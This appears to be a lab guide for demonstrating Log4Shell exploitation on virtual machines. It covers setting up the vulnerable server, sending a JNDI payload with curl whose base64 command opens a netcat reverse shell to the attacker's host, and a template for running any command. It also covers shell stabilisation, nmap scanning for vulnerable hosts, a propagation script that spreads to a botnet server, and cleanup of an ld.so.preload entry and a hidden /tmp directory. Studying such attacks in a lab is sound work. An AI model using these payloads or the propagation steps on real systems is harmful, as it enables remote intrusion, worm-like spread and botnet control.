Simulate the vulnerable server.

1. Install Java JDK 1.8.0_20. Download from: https://www.oracle.com/es/java/technologies/javase/javase8-archive-downloads.html
   1. For linux 64 bits download: "jdk-8u20-linux-x64.tar.gz"
   2. Extract the content to the Desktop
   3. Add Java JDK to the PATH: export PATH=/home/kali/Desktop/jdk1.8.0_20/bin:$PATH
   4. Check java version: "1.8.0_20" with following command: java -version
2. Open app folder.
3. Execute following command: java -jar log4shell-vulnerable-app-0.0.1-SNAPSHOT.jar

Optional (build the server)

If you want to customize and build the server, you could follow next steps:

1. Install gradle 7.3.1.

   1. https://services.gradle.org/distributions/
   2. https://linuxize.com/post/how-to-install-gradle-on-debian-10/ #Change 6.3 for 7.3.1.

2. Create a dir in "/home/gradle/src".

3. Put all the files from the repo: https://github.com/christophetd/log4shell-vulnerable-app

4. Install Java JDK 1.8.0_20. Download from: https://www.oracle.com/es/java/technologies/javase/javase8-archive-downloads.html

   1. For linux 64 bits download: "jdk-8u20-linux-x64.tar.gz"
   2. Extract the content to the Desktop
   3. Add Java JDK to the PATH: export PATH=/home/kali/Desktop/jdk1.8.0_20/bin:$PATH
   4. Check java version: "1.8.0_20" with following command: java -version

5. Go to "/home/gradle/src"

6. Execute gradle bootJar --no-daemon

7. Execute the vulnerable webserver: java -jar .jar

Demonstration: Reverse shell attack

Setup

• Attacker: 10.0.2.9
• Victim: 10.0.2.10

Steps

1. Run the vulnerable webserver in the victim machine: follow the steps of above "Simulate the vulnerable server" section.
2. Listen with nc in the attacker machine: nc -lvp 4444 -n
3. In the attacket machine execute the exploit that will initiate the LDAP server: java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.2.9 -p 8888
4. Send the following payload from attacker machine to the vulnerable machine: curl 10.0.2.10:8080 -H 'X-Api-Version: ${jndi:ldap://10.0.2.9:1389/Basic/Command/Base64/bmMgMTAuMC4yLjkgNDQ0NCAtZSAvYmluL2Jhc2g=}'
5. Previous payload executes the following command in the victim: "nc 10.0.2.9 4444 -e /bin/bash". If you want to change the command, encode it in base64 and send the following payload: curl 10.0.2.10:8080 -H 'X-Api-Version: ${jndi:ldap://10.0.2.9:1389/Basic/Command/Base64/<base64-encoded-command>}'

Exploit source: https://github.com/welk1n/JNDI-Injection-Exploit

How to get a full interactive shell

python3 -c "import pty; pty.spawn('/bin/bash')"
CTRL+Z
stty raw -echo;fg
id

Source: https://ice-wzl.medium.com/netcat-shell-stabilization-248b83bcc06c

Reconaissance and discovery

How to scan local network to find log4shell vulnerable servers

1. Get network interfaces: ifconfig.
2. Scan all the subnets: nmap -sn 192.168.1.0/24
3. Port scan to detect if it can be a vulnerable app: "nmap -v 192.168.1.10" or "nmap -v -p- 192.168.1.10" (all ports)

Discovery useful tools.

https://github.com/giterlizzi/nmap-log4shell
https://github.com/adilsoybali/Log4j-RCE-Scanner

Demonstration: Propagation attack

Scenario

VM 1

IP: 10.0.2.9

• Malicious LDAP and HTTP server listening at port 8888.
• Botnet server listening at port 9090.

VM 2 (router)

IP: 10.0.2.10
IP: 10.0.3.4

• Vulnerable webserver listening in port 8080.

VM 3

IP: 10.0.3.5

• Vulnerable webserver listening in port 8080.

Setup

VM 1

Default gateway via router: sudo ip route add default via 10.0.2.10

VM 2

Enable IPv4 forwarding: /etc/sysctl.conf and uncomment the line: net.ipv4.ip_forward=1

Enable NAT.

sudo iptables -t nat -L -n -v --line-numbers
sudo iptables -t nat -F
sudo ip route add default via 10.0.3.1
sudo iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

VM 3

Default gateway via router: sudo ip route add default via 10.0.3.4

Steps

1. Start LDAP and HTTP server in VM1: java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.2.9 -p 8888
2. Start vulnerable server in VM2: java -jar log4shell-vulnerable-app-0.0.1-SNAPSHOT.jar
3. Start vulnerable server in VM3: java -jar log4shell-vulnerable-app-0.0.1-SNAPSHOT.jar
4. Execute propagation.py in VM1: python propagation.py
5. Check that you have two connections on VM1 botnet server.

Util commands (additional)

echo "" | sudo tee /etc/ld.so.preload
sudo rm -r /tmp/.bflix